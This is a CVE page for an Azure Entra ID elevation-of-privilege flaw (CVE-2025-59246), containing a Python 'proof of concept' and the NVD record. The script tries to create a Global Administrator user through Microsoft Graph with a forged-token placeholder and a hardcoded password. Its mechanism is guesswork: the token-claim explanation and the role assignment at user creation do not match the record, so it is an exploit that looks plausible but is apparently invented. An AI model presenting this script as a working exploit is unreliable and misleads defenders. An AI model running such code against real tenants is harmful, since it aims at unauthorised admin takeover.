CVE-2025-59246

# CVE-2025-59246 - Azure Entra ID Elevation of Privilege # Proof of Concept - Conceptual Demonstration # WARNING: This is for educational and authorized testing purposes only import requests import json # Target Azure Entra ID endpoint TARGET_TENANT = "target-tenant.onmicrosoft.com" GRAPH_API_ENDPOINT = f"https://graph.microsoft.com/v1.0" def exploit_privilege_escalation(): """ Conceptual PoC for CVE-2025-59246 Demonstrates the privilege escalation path in Azure Entra ID """ # Step 1: Craft malicious token request exploiting the vulnerability # The vulnerability lies in improper validation of token claims headers = { "Content-Type": "application/json", "Authorization": "Bearer <forged_or_manipulated_token>" } # Step 2: Send crafted request to Graph API # Exploiting the flawed authorization check payload = { "displayName": "Escalated-Admin", "mailNickname": "escalated-admin", "userPrincipalName": "escalated-admin@" + TARGET_TENANT, "passwordProfile": { "forceChangePasswordNextSignIn": True, "password": "P@ssw0rd123!" }, "roles": ["62e90394-69f5-4237-9190-012177145e10"] # Global Administrator role } # Step 3: Execute the privilege escalation response = requests.post( f"{GRAPH_API_ENDPOINT}/users", headers=headers, json=payload ) if response.status_code == 201: print("[+] Privilege escalation successful!") print(f"[+] Created admin user: {response.json()}") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2025-59246 PoC - Azure Entra ID Privilege Escalation") print("[*] For authorized testing only") # exploit_privilege_escalation()

{"cve": {"id": "CVE-2025-59246", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:38.267", "lastModified": "2025-10-16T20:50:39.237", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Azure Entra ID Elevation of Privilege Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:entra_id:-:*:*:*:*:*:*:*", "matchCriteriaId": "D09E509F-AFF3-4991-877A-D197388E7AD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59246", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}